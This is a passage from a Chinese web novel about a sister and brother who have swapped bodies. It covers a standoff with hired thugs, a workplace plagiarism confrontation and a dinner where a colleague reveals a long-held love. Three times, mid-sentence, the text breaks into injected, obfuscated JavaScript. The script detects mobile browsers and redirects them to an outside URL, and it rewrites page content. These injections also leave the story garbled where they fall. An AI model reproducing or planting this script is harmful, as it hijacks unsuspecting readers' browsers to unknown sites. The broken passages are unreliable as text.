沈知窈曾了解过这个李浩的底细,其母亲早期发家之路不太光彩,如今手下还把持着一家颇有规模的丽花皇宫,藏污纳垢鱼龙混杂。 “是又怎么样,但是我打你是因为私人恩怨,和李浩没关系!”平头不耐烦地摆手,示意两位小弟跟上。 沈知窈也不着急,一边观察四周的环境,一边想着对策。 巷子很窄,两边是老旧的楼房,没有岔路可跑,那两个人手里有棍子,硬拼肯定不行,她这具身体是她弟的,十七岁,看着挺瘦,真打起来扛不住几下。 但她不能跑。 跑了,李浩明天就敢在学校里把她堵厕所里,这事她见过太多次了——那些年她弟被人堵的时候,是不是也这样,没处跑,没人帮,只能硬扛? “私人恩怨?”她开口,声音稳稳的,“我跟你有仇?” 平头愣了一下,他第一次见这小子如此冷静的样子。以前的沈渡舟如疯狗,而如今的沈渡舟看他们的眼神如同看狗。 沈知窈看着他,一字一句说:“我们没见过面,没说过话,没得罪过你。你跟我哪来的私人恩怨?” 平头张了张嘴,没说出话来,他不太明白为什么对方要装作不认识他。 旁边那两个小弟互相看了一眼,手里的棍子放低了一点。 沈知窈往前走了一步:“李浩他爸是教育局的,他妈开夜总会的。你帮他打我,要是出了事,他爸一句话能保他。你呢?你一个丽花皇宫看场子的,给少爷惹了事,谁会保你?” 对,出了事他只能是顶锅的。 平头脸色变得极其难看。 沈知窈继续道:“你不知道吗,李浩他妈那些场子,消防、税务、工商,随便哪家去查,都够喝一壶的。” “如果咱们都不小心进局子了,我的嘴长在我自己身上,想说什么全看我心情了,而且我姐姐和纪委办公室的人认识,事情闹大了……你自己看着办吧。” 沈知窈见平头还在迟疑,便软硬兼施道:“这样,我出双倍的价钱,就当是完成任务,已经教训了我,我这几天不去学校,你直接回去复命,说我进医院了。” 平头站在原地没动,不知道沈渡舟究竟要干什么,他身后那两个小弟往后退了一步。 他看着眼前的少年,仔细思考着对方的话,沈渡舟今天不知道吃错啥药了,不仅装作不认识他,说话还这么有气势。 沈知窈已经不耐烦了,把手从口袋里抽出来,手里握着手机,屏幕亮着,上面是一个拨号界面,三个数字——110。 “谈不妥就只能报警了,我数三下。”她说,“一。” 平头盯着她,脸上表情僵硬得可怕,他皮糙肉厚脸晒得黑,严肃起来一脸横肉,颇为可怕。 “二。” 沈渡舟舌尖顶着腮帮子,神态稳如泰山。 “三。” 她把手指按下去。 “等等!”平头终于落败下来。 沈知窈停住手里的动作,眼睛一眨不眨地看着他。 平头深吸一口气,往后退了一步。 “行,钱我也不要了。”他说,“你有种,这几天别让我再见到你。” 平头转身就走,旁边那两个跟班愣了一下,反应过来之后也拎着铁棍跟上去:“钢哥等等我俩!” 沈知窈站在原地,握着手机,手心全是汗。 看来这几天没办法去学校了。 她等了几秒,确认他们不会再回来,才慢慢把手机收起来。 15. 心直口快 手机震动了两下,是周磊发来的消息。 “怎么样?” 沈知窈回:“没事了,这几天不去学校了,免得撞上李浩。” 沈知窈又三言两语描述了一下刚才发生的事。 周磊回了一个表情,是一个竖起的大拇指。 她把手机收起来,继续往家走。 走到楼下的时候,她又收到一条消息,是陆泠音发的:“沈渡舟,你到家了吗?” 她回:“刚到。” 陆泠音:“那就好,今晚是个平安夜,回家了好好休息。” 她看着那几个字,站在昏暗的楼道里,突然笑了一下。 沈知窈站在昏暗的楼道里,打开门锁,轻松地勾起唇,迎面的窗外夜色很深,对面楼的窗户亮着灯,有人在做饭,油烟机的嗡嗡声传过来。 她掏出手机,给她弟发了一条消息:“今天差点被打了,弟。” 那边很快回了:“我靠,不是说让你低调点吗,没把你怎么样吧?究竟是谁?特么的,等我换回来了要打得他亲爸妈都不认识!” 沈渡舟还没考虑过这一方面的问题,在他的印象里,沈知窈是一个安静内向且忍耐性极高的人。 呵,没谁比他姐更有素质了。 沈渡舟甚至会想,如果李浩找上门来,沈知窈八成也不会搭理,一拳打到棉花上的李浩自然不会刻意针对,沈知窈从而逃过一劫…… 看来事实和预想出入很大,如今形势变得非常严峻了。 沈知窈回:“好像是李浩找的人。” 那边沉默了几秒,然后回:“他们怎么回事,为什么要找你麻烦?” 她看着那条消息,想了想,把前因后果也讲了一遍,最后她回:“反正这几天,先避避风头,正好不上课可以去找你。” 沈渡舟有些头疼:“别,你别来给我添乱。” 沈知窈:“?” 沈知窈不可置信地敲击键盘:“你要毁了姐姐的工作吗?” 然后沈渡舟回了个翻白眼的表情包:“我在恶补,你们怎么动不动开会啊,还有你们那个院长,屁事儿真多,吃饱了撑的……” 沈渡舟看着那三个字,很久没动——“你要毁了姐姐的工作吗” 沈知窈居然会和他说这样口吻的话。 窗外,夜风吹进来,带着一点凉意。 “你来也行,给我补一下你那些项目的知识呗。” 接通电话后,电话这头的沈知窈听见那头,属于自己声带发出的独特声音,是沈渡舟在说话。 沈知窈嗯了一声,说,知道了。 沈渡舟发现,他姐的职场比他想象的要复杂得多。 复杂到什么程度呢?复杂到他每天早上走进那栋办公楼,都要先做五分钟心理建设。 比如今天。 今天又有个学术交流会,据说是一年一度的重要活动,全院的人都得参加,沈渡舟提前做了功课——他翻了他姐的电脑,找到去年的会议记录,发现这种活动其实就是一群人坐在一起,听几个人念论文,然后互相吹捧或者互相挑刺。 起先他不以为意,但是翻着记录,看着看着就不对劲了。 他姐去年的记录里写着一行字:被陈芳当众质疑数据真实性,无语。数据是周导给的。 陈芳?这个名字他记住了。 早上八点五十,沈渡舟走进会场,会议室不大,摆着十几排椅子,最前面是一个讲台,讲台上放着麦克风和投影仪。 已经来了不少人,三三两两地坐着聊天。 他找了个靠边的位置坐下。 刚坐下,旁边就来了一个人。 “知窈!”那人的声音有点尖,带着一种刻意的热情,“好久不见,最近怎么样?” 沈渡舟抬起头,看见一张化了浓妆的脸,三十岁左右,卷发,红唇,穿着一条很显身材的连衣裙,正笑盈盈地看着他。 陈芳。 他认出来了。 沈渡舟是一个极其记仇的人,看了会议笔记后连夜查了院里面的所有教职工信息。 “被陈芳当众质疑数据真实性”像一块烧红的烙铁,熨在沈渡舟的胸口。 “还行。”沈渡舟说。 陈芳在他旁边坐下,凑近了一点,压低声音说:“听说你们组最近出了点事?有人匿名举报洪教授,搞得洪教授都停工了,等着上边儿来检查呢。” 沈渡舟看了她一眼,这个陈芳在打听消息,还用一种“我关心你”的姿态。 “不知道。”他冷淡回答。 陈芳愣了一下,大概没想到他反应这么冷漠,但她很快调整过来,继续笑着说:“知窈,你最近是不是太累了?我看你脸色不太好。那个项目的事,你也别太往心里去,洪老师那人就那样,对谁都苛刻。” 沈渡舟没想搭理对方。 陈芳继续喋喋不休:“其实我一直挺佩服你的,那么拼命,不过有时候也要注意方式方法,太要强了容易得罪人。” 沈渡舟终于转过头,看着陈芳。 “得罪谁了?”他一个字一个字往外蹦,脸上带着笑意,实则眼底冰碴似的,活像讨命的恶鬼。 陈芳的笑容僵了一瞬。 “比如……”她想了想,压低声音说,“比如上次那个数据的事,我不是故意针对你,是真的觉得有问题。后来才知道是洪老师给的,你也是没办法……但当时你那个态度,让我很下不来台。” 沈渡舟想起他姐电脑里那份记录,被陈芳当众质疑数据真实性,这数据还是洪德清给的。 啧,该死的制衡之术,怎么领导们都喜欢这一套。 “我什么态度?”沈渡舟问。 陈芳的表情变得有点委屈:“你什么都不说啊,你越不说话,别人越觉得我心眼小,欺负老实人。” 沈渡舟看着她,突然笑了。 陈芳被他笑得一愣:“你笑什么?” “没什么,”沈渡舟说,“就是觉得,你挺有意思的。” 陈芳没听懂这话是夸她还是骂她,但她没机会问了,因为会议开始了。 第一个上台的是个老教授,头发花白,戴老花镜,讲的是他研究了二十年的课题,沈渡舟听不太懂,但他努力装作在听,咬着笔头,在笔记本上一顿写。 第二个上台的是许则安,今天还戴着眼镜,看上去斯斯文文的,讲的是关于民国文学的东西。 沈渡舟更听不懂了,但他注意到,许则安讲完之后,旁边几个年轻女同事都在小声夸赞“讲得真好”“许老师越来越厉害了”。 第三个上台的是个中年女老师,讲的是女性文学。她讲了大概十分钟,最后收尾的时候突然话锋一转:“这方面其实沈知窈老师最近也有研究,不如让沈老师上来分享一下?” 所有人的目光都转向了沈渡舟。 沈渡舟愣住了。 他什么都没准备,他根本不知道沈知窈最近在研究什么。 陈芳在旁边小声催促说:“哎呀,知窈,快上去啊,别让人等着。” 那语气听起来像是鼓励,但沈渡舟听出了一点幸灾乐祸的味道。 沈渡舟站起来,越过两排座位,走上讲台,台下几十双眼睛看着他。 他站在那儿,麦克风就在手边,但他不知道该说什么。 然后他看见台下有一个人正冲他微微点头——方才路过许则安身边的时候,他貌似把平板塞给他姐了。 沈渡舟打开屏幕,看了一眼里面冗长复杂的专业内容,如果沈知窈在这儿的话,肯定是能看明白的吧。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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近距离看,这人长得确实挺顺眼,不高不矮,不胖不瘦,戴着眼镜,笑起来还腼腆,像是那种从小到大都是“别人家孩子”的高材生。 “没讲什么也比被当众架起来强。”许则安说,“王老师那个人就这样,喜欢给人挖坑,你别往心里去。” 沈渡舟愣了一下:“王老师?” “刚才叫你上去那个,”许则安压低声音,“王秀英,专爱给人下不来台,新人老师来都得经历一番洗礼,习惯了就好了。” 沈渡舟心想,就像是服从性测试。 沈渡舟不认识王秀英,但他记住了这个名字。 王秀英。 “谢谢你帮我。”沈渡舟说。 许则安摆了摆手:“别客气,我也是顺手准备的,那个……你最近是不是有什么事?我看你好像变了个人似的。” 沈渡舟心里一紧,只装作云淡风轻:“什么变化?” 许则安想了想,说:“就是……以前你不太说话,开会都坐角落,能躲就躲。今天你居然当众怼王老师,大家都吓了一跳。” 许则安继续说:“不过我觉得挺好的。你以前太能忍了,看着都累。” 他看着沈渡舟,眼神非常认真:“以后有什么事,可以找我帮忙。” 沈渡舟看着他,突然问:“我们只是同事关系,你为什么对我这么好?” 许则安俊逸的脸突然浮起朝霞一般的红。 “我……”他张了张嘴,然后低下头,“我习惯了,能有机会站在你身后我就心满意足了。” 16. 重拳出击 下午三点,沈渡舟回到办公室。 刚坐下,门就被敲响了。 “请进。” 门推开,进来的是陈芳,那女人手里拿着一份文件,脸上带着笑。 那种笑沈渡舟见怪不怪——眼睛弯着,嘴角翘着,但笑意到不了眼底,浮在脸上像一层油。高跟鞋踩在地上咯噔咯噔响,走到他桌边,把文件放下。 “知窈,”她说,声音文绉绉的,“这个项目申报书,你能不能帮我看看?有几个地方不太确定。” 沈渡舟低头看了一眼那份文件。 封面上印着项目名称,下面有一行小字:负责人,陈芳,他姐的申报书他见过,封面不是这样印的。他姐的永远是规规矩矩的宋体字,大小适中,位置居中,这份封面的字偏右,像是排版的时候没对齐。 他想起他姐电脑里那些文档,每一份都调整过无数遍,页边距、行间距、字体大小,精确到小数点后两位。 突然意识到,他姐不是强迫症,她只是怕被人挑出错。 “你自己写的?”他问。 陈芳的笑容僵了一瞬,但很快又恢复了。“是啊,我写的。就是想让你帮忙把把关。” 沈渡舟翻开那份申报书,随便看了几页。 第三页,这个文献综述他见过,在他姐去年那份没通过的项目申报书里,一模一样,连标点符号都没改。 他姐那份他看过很多遍——那段日子他刚用他姐的身体没多久,研究什么看不明白,要什么什么都不懂,只能一遍一遍翻她电脑里的文件,试图记住那些看不懂的术语。 那段文献综述他看了至少五遍,因为里面有个词他不认识,查了好几次字典。 第五页,研究方法。 他没见过,但他见过另一份东西——许则安的论文,那天他翻他姐书架的时候无意间看见的,许则安的名字印在封面上,那篇论文他翻了几页,看不懂,但记住了里面几个关键词。 第七页,理论框架。是王秀英老师去年的项目申报书,在系里的公共邮箱里发过,让大家参考学习,他姐当时看了一眼就关了,没说什么。 他把申报书合上,抬起头:“这真的是你写的?” 陈芳的表情变了,那层笑还挂在脸上,但底下的涟漪已经开始晃:“什么意思?” 沈渡舟把申报书推回去。 “第三页的文献综述,和我姐——和我去年申报书里的一模一样。”他说,“第五页的研究方法,和许则安前年的论文里的一模一样。第七页的理论框架,是抄的王秀英老师去年的项目。” 他看着陈芳,一字一句说:“东拼西凑的东西,这是让我把关,还是让我帮你圆谎?” 陈芳的脸涨红了,那层笑彻底挂不住,从脸上滑下去,露出底下那张有点扭曲的脸。她瞪着他,胸口剧烈起伏,衬衣的领口也跟着一起一伏。 “沈知窈,你说话要有证据!” “证据就在这儿。”沈渡舟指着那份申报书,“需要我帮你标出来吗?需要我把你抄的那些段落,一句一句念给你听吗?” 陈芳张了张嘴,没说出话来。 沈渡舟看着她,突然觉得有点累,不是身体上受摧残的累,是另一种累——从骨头缝里渗出来的,酸酸的,沉沉的,让人想往什么地方倒下去,令人绝望。 他想起了他姐。 他姐以前面对这些人的时候,是不是也这样累? 被人抄了东西,不能骂不能吵只能忍,被人当众质疑,不能解释不能反驳,只能低着头。 被人背后说坏话,不能追究不能对质,只能装作听不见。 她是怎么忍这么多年的? 沈渡舟想起他姐床头柜上那两个药瓶。舍曲林,阿普唑仑——抗抑郁,抗焦虑,治创伤后应激障碍。 好好的人,干嘛要吃那些药。 他陡然站了起来,陈芳被他这个动作吓了一跳,往后退了一步。 “你……你想干什么?” 沈渡舟看着她。 “咱们同事这么多年,”他说,声音不高,但每个字都落得很实,“你当众质疑我数据的时候,怎么没想过咱们是同事?你到处说我研究女性文学的时候,怎么没想过咱们是同事?你今天在会场上看我出丑的时候,怎么没想过咱们是同事?” 陈芳的脸色白了,那层红褪下去,剩下一种灰扑扑的白,像抹布洗褪色的那种灰蒙。 沈渡舟往前走了一步,气势凌人,脸上的不满不容旁人忽视。 “你以为我不知道你那些事?”他说,“你从洪德清那儿打听消息,转头就到处说,你在王秀英面前装好人,背地里说她坏话。你抄别人的东西,还装成是自己写的——你当别人都是傻子?” 陈芳往后退了一步,高跟鞋在地板上磕了一下,差点摔倒。 “你想怎么样?”她的声音在抖,手指也在抖,攥着那份申报书,指节发白。 沈渡舟看着她,看着她那张精心化过妆的脸,看着她那副从来不肯吃亏的做派。 他又想起他姐那些没发出去的消息。 那些“好的我马上改”,那些“抱歉我会调整”,那些“对不起让您费心了”。 他姐打了那些字,又删掉,打了又删掉,最后什么都没发出去。 沈渡舟满腔怒火,沈知窈能忍不代表他能忍。 “我不想怎么样。”他说,“你把这份申报书拿走,自己重写,以后别找我帮忙,我也不会找你帮忙,咱们就当不认识。” 陈芳站在那里,脸色好几回。那张脸像调色盘,红了又白,这会儿又有点发青。她嘴唇动了动,像想说什么,但最后什么都没说,只是攥着那份申报书,转身走了。 门在她身后关上。 砰的一声,在安静的办公室里显得格外刺耳。 沈渡舟坐回椅子上,长长地呼出一口气。 窗外有阳光照进来,落在办公桌上,落在那摞厚厚的文件上,落在他姐那张写着“每天提醒自己,活着就好”的便利贴上。那张便利贴被他贴回原位了,边角有点卷,但字还在。 他盯着那行字,看了很久。 活着就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345258|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈知窈每天看着这行字,是怎么熬过来的? 他想起她一个人在这间办公室里,改方案改到凌晨,窗外天都黑了,只有这盏台灯亮着。她抬起头,看见这行字,然后低下头,继续改。 他想起她被洪德清在会上骂得体无完肤,回到办公室,一个人坐着,看着这行字,很久很久,然后站起来,继续工作。 成年人的世界,沈渡舟不明白。 他想起她和林嘉文在一起那些年,被人PUA,被人贬低,被人说得一无是处,回到这间办公室,看着这行字,告诉自己,活着就好。 活着就好。 他姐的要求,就这么低。 他坐在那张椅子上,用他姐的身体,看着他姐每天看的那行字,心里像被什么东西堵住了。那东西堵在胸口,沉甸甸的,压得人喘不过气。 不是愤怒,不是委屈,是另一种滋味。像吃了什么苦的东西,咽不下去,又吐不出来。 他替他姐怼了陈芳,怼了周导,泼了林嘉文。他以为这是在帮她。 但现在他坐在这儿,看着她那行字,突然意识到——他帮的,只是冰山一角。那些他看不见的日子里,那些他不在的时候,他姐一个人面对了多少这样的人,这样的事,这样的委屈? 手机震了,打开一看,是许则安。 “没事吧?我刚才看见陈芳从你办公室出来,脸色不对。” 沈渡舟看着那条消息,想了想,回:“没事,她来找我帮忙,我没帮。” 那边很快回了:“那就好,你小心点她,她这人记仇。” 沈渡舟又回:“知道了,谢谢。” 许则安回了一个笑脸。 那笑脸很简单,就是一个圆圆的黄色小脸,眼睛弯成两条线,嘴角往上翘。但沈渡舟看着那个笑脸,脑子里浮现出许则安本人的样子——站在路灯下,有点不好意思地笑。 许则安笑起来确实很好看,笑意从眼睛里漫出来的,藏都藏不住。 他想起他姐,沈知窈有多久没那样笑过了? 他攥着手机,看着窗外那片阳光。 阳光很亮,照得玻璃反光,看不清外面是什么,只能看见一片白,晃眼睛。 他又想起他姐那行字,活着就好。 沈渡舟将那张便利贴扯了下来,揉成一团,三分球抛物线飞进了垃圾桶。 他低下头,又看了一眼许则安那个笑脸,手无力垂下,身体靠进椅背里。 窗外有风吹进来,窗帘轻轻一动,阳光在桌上缓慢蠕动,从左边移到中间,从那摞文件上移过,从那行字上移过,移到他垂在椅子扶手上的手背上。 他闭上眼睛,就那么靠着,晒着太阳。 不知道过了多久,直到手机又震了一下,沈渡舟恍然睁开眼,拿起来查看。 还是许则安发来的消息。 “晚上有空吗?想请你吃饭。” 沈渡舟看着那条消息,愣了两秒,唇角勾起一抹狡黠又狡诈的微笑。。 他回了一个字。 “行。” 17. 十五年夏 那顿饭吃了很久。 不是什么高档地方,就街边一家小馆子,门脸不大,里头几张木桌子,油渍渍的菜单压在玻璃板底下。 许则安点菜的时候没问她想吃什么,直接报了几个名字——干煸豆角,糖醋里脊,鱼香肉丝,西红柿鸡蛋汤。 沈渡舟听见那几样菜名不由得愣了一下,确实都是他姐平时在家爱吃的。 等菜的工夫,许则安给他倒了杯茶。茶叶末子泡出来的,颜色黄褐褐的,浮着几片碎叶。 沈渡舟端着那杯茶,不知道该说什么。 他对面坐着的这个人,貌似喜欢他姐,但他对这个人几乎一无所知。用沈知窈的身体跟他吃饭,总有一种偷穿了别人衣服的感觉,浑身不自在。 许则安倒是挺自然的,他问了几句工作上的事,又问了几句身体怎么样,像普通同事那样寒暄。 沈渡舟一一答了,用的都是他姐平时说话那种语气,不冷不热,不远不近。 菜上来之后,许则安把糖醋里脊和鱼香肉丝往他面前推了推。 “趁热吃,你以前最爱吃这个。” 沈渡舟握着筷子的手顿住了。 他以前也爱吃这个,可许则安说,“你以前”。 许则安口中的“你”,是沈知窈。 他夹了一块,放进嘴里。酸甜口,外酥里嫩,确实好吃。沈渡舟突然想起,他以前总爱跟沈知窈抢菜,多一筷子少一筷子他都要计较。 许则安自己也吃,吃得不快不慢,一边吃一边偶尔看他一眼。那种看不是盯着看,是看一眼,然后移开,过一会儿确认对方不反感,再试探性地将目光落到其身上。 沈渡舟见过这种眼神,在他那些兄弟看自己喜欢的姑娘的时候,差不多也这样。但许则安的眼神不一样,没那么热,没那么急,是温吞地沉在眼底,像炉子里快熄灭的炭火,不烧起来,但在灰烬里藏匿着,需要伸手去拨开。 “许老师,”沈渡舟开口,“你认识我多久了?” 许则安抬起头,温和道:“十五年了。” “这么久?”沈渡舟暗暗吃惊。 “嗯。”他把筷子放下,端起茶杯喝了一口,“那时候你才十五岁,在东四胡同画槐树。” 沈渡舟在心里算了算,十五年前,他姐也十五岁,刚上高中。那时候她还会画画?会一个人跑去胡同里画树? “你怎么知道那是我?” 许则安笑了笑。 “你穿着校服,那学校的校服我认识,我妹妹也念那所。” 沈渡舟没说话。他等着他往下说。 许则安想了想,像是在回忆。 “那是我第一次看到你,那天下午阳光很好,我路过那条胡同,看见你蹲在墙根底下,手里拿着一个本子,正在画什么。我走过去看了一眼——画的是一棵老槐树,树干很粗,树皮皴裂,枝叶茂密得把半边天都遮住了。” 他顿了顿,好似回忆起一件趣事,嘴角不由自主地微微翘起。 “我当时说,这棵树,我小时候爬过。你抬起头,看了我一眼。那个眼神……我到现在还记得。” 沈渡舟眼神有点复杂,没敢告诉他,以他对沈知窈性格的了解,她那个时候多半是想说“什么人这么装”。 “什么眼神?” 许则安低下头,手指在桌上轻轻敲了两下。 “很难形容,不是好奇,不是警惕,是另一种东西——像是你在看一样快要消失的东西,想把它记住。” 沈渡舟突然说不出话了。 他在想象那个画面,十五岁的沈知窈,蹲在胡同里画一棵即将被砍掉的树,阳光照在她身上,她抬起头,看了路过的年轻人一眼,那个人记住了那个眼神,记住了十五年。 罗曼蒂克式的相遇。 “后来呢?” “后来你画完了,站起来拍了拍膝盖上的灰,就走了。我问你是哪个学校的,你说,我是陌生人,不给我说,就走了。” “就这样?” 许则安笑了。 “就这样,那时候你甚至都不愿意多跟我说一句话,我连你名字都不知道。” 沈渡舟夹了一筷子干煸豆角,心酸地咀嚼着,豆角煸得挺干,有点焦香,但他不爱吃。 “那后来你怎么找到我的?” “后来你来了我们学校,入职汇报那天,你站在台上,我坐在下面,一眼就认出来了。” 沈渡舟愣了一下。 “那么多年,你怎么认出来的?” 许则安想了想,认真道:“你的眼睛没变,还是那个眼神。” 沈渡舟握着筷子的手有点无措。 他姐的眼睛?他姐的那个眼神?被一个人记住了这么多年? 好感性的男人…… “那时候你已经不画画了。”许则安说,声音很轻,“你在台上讲你的研究,讲得很认真,看得出来,每一个字都是精心准备的,但感觉,你好像没有以前那么快乐了。” 沈渡舟没说话,许则安也没再往下说。他端起茶杯,喝了一口,看着窗外。 窗外是天色渐暗的街,路灯刚亮起来,昏黄昏黄的,有几个放学的中学生骑车经过,叽叽喳喳地笑闹着,车铃叮叮当当响成一片。 沈渡舟看着许则安的侧脸,灯光从外面照进来,把他的轮廓勾出一道浅金色的边,他眼睛望着窗外,不知道在看什么,想什么。 “许老师。”沈渡舟开口。 许则安转过头。 “你为什么觉得我不快乐?” 许则安沉默了几秒。 “说不清楚,可能是少了点什么,就像是……那种想记住什么的劲儿。” 想记住什么的劲儿,他姐以前有的。 沈知窈十五岁的时候,会一个人跑去胡同里画快要被砍掉的树。后来做了老师,做研究,写论文,但那种劲儿类似于一股灵气,随着年龄增长,好像确实快消磨殆尽了。 “你知道东四胡同后来怎么样了吗?”许则安问。 “拆了?”沈渡舟试探性回答。 许则安点点头。 “拆了,老槐树也砍了,那口井也填了,什么都没剩下。” 许则安顿了顿:“但是你画的那张画,我一直留着。” “你那天画完,把本子合上就走了。我站在那儿,等了一会儿,风吹过来,把你本子里掉出来的一页纸吹到我脚边。” 沈渡舟张了张嘴,没说出话来。 “可能是你夹在本子里的,也可能是你没注意掉出来的。那一页上画的就是那棵槐树,画得挺细,连树皮上的裂纹都画了。” 他低下头,手指又敲了两下桌面。 “我本来想追上你还给你,但你已经走远了,后来我就自己留下了。” 沈渡舟一时不知道说什么,他很后悔今天和许则安出来吃饭。 他害怕今天许则安情不自禁表了白——这太不公平了,这是沈知窈的身体,沈知窈的身体,他没有权力答应也没有权力拒绝。 那张画,他姐十五岁画的槐树,许则安留了十五年。 “那张画还在啊?”沈渡舟干巴巴地笑了两声。 许则安点头,拿出手机打开相册:“在,我书房里,裱起来了。” 沈渡舟看着他,看着这个说话温温的、动作慢慢的、把一张画留了十五年的男人。他想起他姐那些年一个人扛着的事,想起他姐床头柜上的药瓶,想起他姐那张“活着就好”的便利贴。他想起他姐脸上那种累,那种很久没笑过的样子。 他端起茶杯,喝了一口,茶水已经凉了,有点涩口。 “许老师。”他放下杯子。 许则安看着他。 “你这些年,为什么不跟我说这些?” 许则安沉默了几秒。 “说不出口。” “为什么?” 他想了想。 “你那时候太累了。我看着你,觉得你身上压了好多东西。我不知道那是什么,但我知道,你顾不上这些。” 沈渡舟没说话。 许则安继续说:“后来你有了男朋友,我更没理由说了。你看起来好像需要他,虽然我不觉得他……” 他顿住了,没说下去。 “不觉得他什么?” 许则安看了他一眼,那眼神里有什么东西一闪而过。 “不觉得他对你真的好。” 沈渡舟攥着茶杯,心中微微一哂。 “我找过你,但你没来,是林嘉文赴的约,他说,你不想再见到我,让我们别再见面了。” 他想起林嘉文的德行,想起他人模狗样的打扮,想起那些令人作呕的话。原来许则安那时候就看出来了。 沈渡舟说:“不是我亲口说的,你不要信。” “我知道了,任何事,我等你亲口告诉我。” 沈渡舟坐在那儿,看着对面这个人。他穿着普通的深色外套,头发有点乱,脸上没什么表情,就是普普通通一个读书人。但他说的那些话,做的那些事,让沈渡舟心里像被什么东西轻轻撞了一下。 他想起沈知窈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345259|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些年一个人走的路,他不知道那些路上有没有人看见她。但现在他知道了,有一个人,一直在看她。 不近不远,不打扰,等着她需要的时候,叫一声就来。 窗外的天彻底黑了,路灯亮成一片,街上的车流穿梭,霓虹灯闪烁无常,小馆子里热气腾腾,隔壁桌有人在大声说话,笑得开怀。 许则安叫服务员加了壶热水,给他续上。 “你最近好像没那么累了。”他说。 沈渡舟端起杯子,喝了一口,烫得他龇牙咧嘴,“是吗?” 许则安点点头。 “说话不一样了,看人也不一样了。” 沈渡舟心里一紧,“怎么不一样?” 许则安想了想。 “以前你说话,总是往回收的。每句话都说一半,剩下的一半吞回去。现在你说话……好像往外拿了,不内耗了,是好事儿。” 后来他们出了馆子,站在门口。夜风吹过来,凉凉的,带着点秋天晚上的意思。街上人少了,偶尔有车过,灯光扫过来,又扫过去。 “我送你回去。”许则安说。 沈渡舟摇头,“不用,我认识路。” 许则安没坚持,他站在那儿,手插在口袋里,风吹起他外套的下摆。 “那你自己小心。” 沈渡舟点点头。 他转身要走。 “沈老师。” 他停下来,回过头。 许则安站在路灯下,昏黄的光落在他身上。他看着沈渡舟,沉默了几秒,然后说了一句话。 “我会一直等你的,不管怎么样,我都会等。” 沈渡舟脚步一停,差点栽地上。 许则安没等他反应,转身走了。 他走得很快,几步就没入夜色里。路灯把他的影子拉得很长,一截一截的,最后消失在街角。 风吹过来,凉凉的。沈渡舟站在原地,想着刚才那句话。 他把手插进口袋里,往家走。 那天晚上他躺在那张硬邦邦的床上,盯着天花板上那道裂缝,很久没睡着。 窗外不知道谁家的狗叫了两声,又安静了。远处有车驶过,声音由远及近,又由近及远,最后什么都听不见了。 他翻了个身,依旧是睡不着,于是他拿起手机给沈知窈发了一条消息:“今天跟你那个同事一起吃饭了,就那个叫许则安的家伙。” 过了几分钟,那边回了:“怎么了?” 沈渡舟酝酿了半晌,回:“他好像喜欢你。” 沈知窈回:“我知道。” 沈渡舟愣了一下:“你知道?” 那边回:“嗯,但他没说过,我也没问过。更何况那个时候有林嘉文在,不合适。” 沈渡舟看着那条消息,心里有点堵。 “你知道那个时候他找你了吗,是林嘉文替你去的。” 沈知窈:“不知道,他什么时候找过我?和林在一起之后,他就再也没搭理我了。” 沈渡舟回:“林嘉文说你讨厌他,叫他不要来打扰你了。” 那边沉默了。 沈渡舟:“你们有误会,是不是?” 那边依旧没回消息。 很久之后,那边回了一句话:“不知道,再说吧。” 沈渡舟看着“再说吧”这三个字,心里更堵了。 他姐从来都是这样,什么事都往后推,什么话都憋在心里,什么人都先放一边…… 亲爱的姐姐,你去测一下流行的MBTI,你肯定是个P人…… 沈渡舟想起自己这些年对姐姐的态度——冷漠、抗拒、话里带刺。他一度以为沈知窈不需要他,不需要任何人。 他不知道沈知窈的别扭,两个人的别扭铸就一把伤人的利器,在日渐相处的模式中,把彼此割得血肉淋漓。 他拿起手机,又发了一条消息:“那个许则安,说要等你。” 那边回:“嗯。” 他回:“我还跟他说,‘不是我亲口说的你不要信’,是不是很像你的风格?” 那边回:“嗯。” 他回:“所以你要不要考虑一下?” 那边回:“沈渡舟,你别替我上班了,赶紧找个说媒的地方吧,你天赋异禀。” 沈渡舟看着那条消息,忍不住笑了。 他回:“胡说八道,你是我姐,别人的事我才不会管呢。” 那边回了一个表情,是一个翻白眼的小人。 他看着那个翻白眼的小人,笑着笑着眼眶却有点涩。 18. 装个大的 上沙村,沈渡舟出租屋里。 沈知窈坐在床上,面前摊着习题集。 她已经做了两个小时了,胜负欲爆表的沈知窈绝不甘心吊车尾。 不是帮她弟做,而是帮自己做。错的题她拿红笔圈出来,在旁边写下正确的解题步骤。 窗外的巷子很吵,有人在吵架,有人在放音乐,有摩托车轰隆隆地开过,但她都听不见,她只看得见眼前的题。 手机震了。 是她弟发来的消息,沈渡舟讲了很多和许则安有关的事。 但她一个字都看不进去。 她知道自己错过了太多,只是事到如今,已经无法再追溯谁对谁错。 沈知窈看着那条消息,眼眶有点涩。 “不是我亲口说的,你不要信。”连沈渡舟这个孩子都明白的话,她偏偏说不出口。 